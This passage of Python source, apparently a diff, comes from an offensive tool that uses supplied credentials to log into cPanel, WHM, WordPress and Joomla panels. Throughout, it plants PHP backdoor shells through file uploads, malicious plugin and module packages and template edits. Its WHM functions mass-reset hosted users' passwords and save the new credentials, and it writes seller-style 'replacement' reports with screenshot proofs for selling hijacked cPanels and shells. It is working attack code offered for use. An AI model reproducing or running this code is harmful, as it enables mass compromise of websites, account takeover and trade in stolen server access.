except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup_Test, data=filedata, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + try: + options_Fox = webdriver.ChromeOptions() + options_Fox.add_experimental_option('excludeSwitches', ['enable-logging']) + driver_Fox = webdriver.Chrome(options=options_Fox) + except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return + driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email')) + driver_Fox.switch_to.window("fox1") + time.sleep(3) + html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8")) + mailname = re.findall(re.compile('(.*)

'), html_Fox)[0] + orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987)) + driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path)) + driver_Fox.switch_to.window("fox2") + time.sleep(3) + driver_Fox.find_element(By.NAME, 'email').send_keys(mailname) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID) + time.sleep(1.5) + driver_Fox.find_element(By.XPATH, '//input[3]').click() + time.sleep(1.5) + driver_Fox.switch_to.window("fox1") + time.sleep(7) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + start = timer() + while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)): + time.sleep(5) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + if (str(orderID) in str(html_Fox.encode("utf-8"))): + print (' {}[+] Sending mail is Working.'.format(fg)) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.set_window_size(1400, 1000) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofS = imgurproof(namepng) + if (proofS is False): + from gyazo import Api + proofS = gyazoproof(namepng) + driver_Fox.execute_script("window.open('{}', 'fox3');".format(shell)) + driver_Fox.switch_to.window("fox3") + time.sleep(3) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofW = imgurproof(namepng) + if (proofW is False): + from gyazo import Api + proofW = gyazoproof(namepng) + open('Results/Reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1 + else: print(' {}[-] Sending mail isn\'t Working.'.format(fr)) + driver_Fox.quit() + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + try: driver_Fox.quit() + except: pass + +def solving_cP_Reports_A(ip, user, password, idcp, cookies, domain, home, test): + try: + global success1 + delete_files('screenshots', 'png') + from selenium import webdriver + from imgurpython import ImgurClient + newpath = r'screenshots' + if (not os.path.exists(newpath)): os.makedirs(newpath) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + req_Fox = requests.session() + postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'} + try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10)) + except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15)) + if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return + print (' {}[+] Domain is Working.'.format(fg)) + filename = '{}.php'.format(random_Fox(8)) + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + backdoor_path = 'https://{}/{}'.format(domain, filename) + time.sleep(5) + try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10)) + except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15)) + if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor_path, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + backdoor_path = check(backdoor_path) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + try: + options_Fox = webdriver.ChromeOptions() + options_Fox.add_experimental_option('excludeSwitches', ['enable-logging']) + driver_Fox = webdriver.Chrome(options=options_Fox) + except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return + driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email')) + driver_Fox.switch_to.window("fox1") + time.sleep(3) + html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8")) + mailname = re.findall(re.compile('(.*)

'), html_Fox)[0] + orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987)) + driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path)) + driver_Fox.switch_to.window("fox2") + time.sleep(3) + driver_Fox.find_element(By.NAME, 'email').send_keys(mailname) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID) + time.sleep(1.5) + driver_Fox.find_element(By.XPATH, '//input[3]').click() + time.sleep(1.5) + driver_Fox.switch_to.window("fox1") + time.sleep(7) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + start = timer() + while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)): + time.sleep(5) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + if (str(orderID) in str(html_Fox.encode("utf-8"))): + print (' {}[+] Sending mail is Working.'.format(fg)) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.set_window_size(1400, 1000) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofS = imgurproof(namepng) + if (proofS is False): + from gyazo import Api + proofS = gyazoproof(namepng) + driver_Fox.execute_script("window.open('{}', 'fox3');".format('https://{}:2083/login/'.format(domain))) + driver_Fox.switch_to.window("fox3") + time.sleep(4) + driver_Fox.find_element(By.NAME, 'user').send_keys(user) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'pass').send_keys(password) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'login').click() + time.sleep(7) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofW = imgurproof(namepng) + if (proofW is False): + from gyazo import Api + proofW = gyazoproof(namepng) + open('Results/Reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1 + else: print(' {}[-] Sending mail isn\'t Working.'.format(fr)) + driver_Fox.quit() + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print(' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + try: driver_Fox.quit() + except: pass + +def WHM_exploiter(backdoor, cpanelRs): + try: + sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting() + for rs in cpanelRs: + rs = rs.split('|') + username = rs[1] + password = rs[2] + try: + ip = 'https://{}:2087'.format(domain_Fox(backdoor)) + ipHost = socket.gethostbyname(domain_Fox(backdoor)) + c = WHM_PWD_CHer_P(ip, username, password, ipHost) + if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr)) + else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username)) + except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def WHM_AH_exploiter(backdoor): + global backdoor3 + try: + sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting() + hashs = requestG_Fox('{}?action={}'.format(backdoor, backdoor3), 1, headers1, 30) + if (re.findall(re.compile('(.*):(.*)'), hashs)): hashs = re.findall(re.compile('(.*):(.*)'), hashs) + for h in hashs: + username = h[0] + try: + accesshash = h[1] + ip = 'https://{}:2087'.format(domain_Fox(backdoor)) + ipHost = socket.gethostbyname(domain_Fox(backdoor)) + c = WHM_PWD_CHer_A(ip, username, accesshash, ipHost) + if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr)) + else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username)) + except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def WHM_PWD_CHer_A(ip, username, accesshash, ipHost): + try: + counter = 0 + newpath = r'Results/WHM' + if (not os.path.exists(newpath)): os.makedirs(newpath) + login = WHM_Login_A(ip, username, accesshash) + if (login is False): return False + headers_WHM = login + if (':2087' in ip): + protocol = 'https://' + port = ':2083' + ipcp = ip.replace('2087', '2083') + elif (':2086' in ip): + protocol = 'http://' + port = ':2082' + ipcp = ip.replace('2086', '2082') + else: + protocol = 'https://' + port = ':2083' + ipcp = '{}:2083'.format(ip) + try: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=30)) + except: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=45)) + try: + listaccts = json.loads(getUser) + usersdata = listaccts['acct'] + except: return counter + for userdata in usersdata: + try: + user = userdata.get('user') + domain = userdata.get('domain') + if (str(username) != str(user)): + newPasswd = passwrod_creator() + postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user} + try: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=30) + except: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=45) + if (changePR): + counter = counter + 1 + sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr)) + sys.stdout.flush() + open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd)) + except: + pass + print ('') + return counter + except: + return False + +def WHM_PWD_CHer_P(ip, username, password, ipHost) : + try: + counter = 0 + newpath = r'Results/WHM' + if (not os.path.exists(newpath)): os.makedirs(newpath) + login = WHM_Login_P(ip, username, password) + if (login is False): return False + cookies = login[0] + idcp = login[1] + if (':2087' in ip): + protocol = 'https://' + port = ':2083' + ipcp = ip.replace('2087', '2083') + elif (':2086' in ip): + protocol = 'http://' + port = ':2082' + ipcp = ip.replace('2086', '2082') + else: + protocol = 'https://' + port = ':2083' + ipcp = '{}:2083'.format(ip) + try: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=30)) + except: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=45)) + try: + listaccts = json.loads(getUser) + usersdata = listaccts['acct'] + except: return counter + for userdata in usersdata: + try: + user = userdata.get('user') + domain = userdata.get('domain') + if (str(username) != str(user)): + newPasswd = passwrod_creator() + postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user} + try: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=30) + except: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=45) + if (changePR): + counter = counter + 1 + sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr)) + sys.stdout.flush() + open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd)) + except: + pass + print ('') + return counter + except: + return False + +def WHM_Login_A(ip, username, accesshash): + try: + if ('\n' in accesshash): accesshash = accesshash.replace('\n', '') + headers_WHM = {'Authorization': 'WHM {}:{}'.format(username, accesshash)} + try: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=10)) + except: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=15)) + if ('Unknown App Requested' in login): return headers_WHM + else: return False + except: + return False + +def WHM_Login_P(ip, username, password): + try: + req = requests.session() + postlogin = {'user': username, 'pass': password, 'login_submit': 'Log in', 'goto_uri': '/'} + try: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=10)) + except: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=15)) + if ('security_token' not in login): return False + loginJson = json.loads(login) + idcp = loginJson["security_token"][1:] + return req, idcp + except: + return False + +def cPanel_Login(ip, username, password): + try: + reqFox = requests.session() + postlogin_Fox = {'user': username, 'pass': password, 'login_submit': 'Log in'} + try: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10)) + except: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15)) + if ('filemanager' in loginCP_Fox or '/home' in loginCP_Fox): + open('Results/Successfully_logged_cPanels.log', 'a').write('{}|{}|{}\n'.format(ip, username, password)) + if (re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1] + elif (re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1] + elif (re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format( re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)[0]) + elif (re.findall(re.compile('href="/cpsess(.*)/frontend/'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/frontend'), loginCP_Fox)[0]) + elif (re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)[0]) + else: + reqFox = requests.session() + try: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10)) + except: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15)) + loginJson = json.loads(loginCP_Fox2) + idcp_Fox = loginJson["security_token"][1:] + if (re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)): domain_Fox = re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)[0] + elif (re.findall(re.compile(''), loginCP_Fox)): domain_Fox = re.findall(re.compile(''), loginCP_Fox)[0] + elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0] + elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0] + if (re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)): home = '/home{}'.format(re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)[0]) + else: home = '/home/' + return reqFox, idcp_Fox, domain_Fox, home + else: return False + except: + return False + +def file_UPloader_cP(ip, username, cookies, idcp, domain, home): + try: + filename = '{}.php'.format(random_Fox(8)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, username), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=120) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=150) + time.sleep(3) + try: + shell_path = 'https://{}/{}'.format(domain, filename) + check = content_Fox(requests.get(shell_path, headers=headers1, timeout=15)) + except: + shell_path = 'http://{}/{}'.format(domain, filename) + check = content_Fox(requests.get(shell_path, headers=headers1, verify=False, timeout=15)) + if ('KEY:' in check or 'MD5:' in check): return shell_path + else: return False + except: + return False + +def cPanel(cP_data, up=0): + try: + if (int(cP_data.count('|')) != 2): print(' {}[-] The list must be https://domain.com:2083|username|password'.format(fr)); return False + cp = cP_data.split('|') + ip = cp[0] + username = cp[1] + password = cp[2] + print (' [*] cPanel: {}'.format(ip)) + print (' [*] Username: {}'.format(username)) + print (' [*] Password: {}'.format(password)) + login_Fox = cPanel_Login(ip, username, password) + if (login_Fox is False): print(' {}[-] Login Failed.'.format(fr)); return False + open('Results/Login_Successful_cPanels.txt', 'a').write('{}\n'.format(cP_data)) + print (' {}[+] Login successful.'.format(fg)) + if (int(up) == 1): + shell_path = file_UPloader_cP(ip, username, login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3]) + if (shell_path is False): print(" {}[-] Failed upload.".format(fr)); return False + else: return shell_path + else: + return login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3] + except: + print(' {}[-] Failed.'.format(fr)); return False + +def randomPluginWP_Fox(url, cookies): + try: + foldername = random_Fox(7) + try:plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, timeout=15)) + except: plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, verify=False, timeout=10)) + if (not re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)): return 'F' + ID_wp = re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)[0] + if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0] + filedata_Fox = {'_wpnonce': ID_wp, '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now'} + fileup_Fox = {'pluginzip': ('{}.zip'.format(foldername), open('Files/plugin.zip', 'rb'), 'multipart/form-data')} + try: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + except: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60) + shellname = '{}/wp-content/plugins/{}/index.php'.format(url, foldername) + check = requestG_Fox(shellname, 1, headers1) + if ('KEY:' in check or 'MD5:' in check): return shellname + return 'F' + except: + return 'F' + +def wp_file_manager_Fox(domain, cookies) : + try : + filename = '{}.php'.format(random_Fox(8)) + shell = file_get_contents_Fox('Files/bk.txt') + try: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=15)) + except: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=10)) + if ('admin.php?page=wp_file_manager' in getID) : + try: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=15)) + except: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=10)) + if (re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)) : + ID_wp = re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)[0] + if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0] + fileup_Fox = {'upload[]': (filename, shell, 'multipart/form-data')} + filedata_Fox = {'_wpnonce': ID_wp, 'action': 'mk_file_folder_manager', 'cmd': 'upload', 'target': 'l1_Lw'} + try : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=60) + except : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/{}'.format(domain, filename), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP) : return'{}/{}'.format(domain, filename) + elif ((re.findall(re.compile('plugins.php\?_wpnonce=(.*)&action=activate&plugin=wp-file-manager'), getID) or re.findall(re.compile('file_folder_manager.php&_wpnonce=(.*)" target="_parent">(.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) '), plugin_install_Fox)): + directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0]) + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0] + filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)} + fileup_Fox = {'install_package': ('mod_ariimageslidersa.zip', open('Files/mod_ariimageslidersa.zip', 'rb'), 'multipart/form-data')} + try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + check_plugin_shell = requestG_Fox('{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain), 1, headers1) + if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain) + return 'F' + except: + return 'F' + +def mod_simplefileuploadJ30v1_Fox(domain, cookies) : + try: + try: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=15)) + except: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=10)) + if (re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)): + directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0]) + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0] + filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)} + fileup_Fox = {'install_package': ('mod_simplefileuploadJ30v1.3.5.zip', open('Files/mod_simplefileuploadJ30v1.3.5.zip', 'rb'), 'multipart/form-data')} + try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=90) + except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + check_plugin_shell = requestG_Fox('{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain), 1, headers1) + if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain) + return 'F' + except: + return 'F' + +def com_templates_Fox(domain, cookies) : + shell = file_get_contents_Fox('Files/bk.txt') + try: + try: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=15)) + except: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=10)) + if ('jsstrings.php' in beez3 and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '503', 'jform[filename]': '/jsstrings.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/templates/beez3/jsstrings.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/templates/beez3/jsstrings.php'.format(domain) + else: + try: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=15)) + except: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=10)) + if ('error.php' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain) + elif ('error.css' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 